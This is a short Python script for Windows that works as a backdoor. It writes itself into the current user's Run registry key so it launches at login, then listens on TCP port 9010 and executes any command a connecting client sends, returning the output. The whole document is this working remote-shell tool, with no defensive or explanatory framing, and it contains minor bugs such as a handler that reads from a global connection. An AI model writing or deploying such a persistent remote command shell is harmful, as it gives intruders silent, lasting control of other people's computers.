import subprocess, time, os, sys
import socket
from threading import Thread
from _thread import *
import threading
import socketserver
import winreg

# Добавить в автозагрузку
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key, "Shell", 0, winreg.REG_SZ,"shell.py")
key.Close()


def run(c):
    cmd = conn.recv(1024).decode()
    while(cmd != '0'):
        process = subprocess.Popen(cmd.split(),
                             stdout=subprocess.PIPE)

        out, err = process.communicate()
        out += b' '
        c.send(out)
        cmd = conn.recv(1024).decode()
    c.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST, PORT = "192.168.0.102", 9010
sock.bind((HOST, PORT))

while True:
    sock.listen(1)
    conn, addr = sock.accept()
    start_new_thread(run, (conn,))

sock.close()

cmd = conn.recv(1024).decode()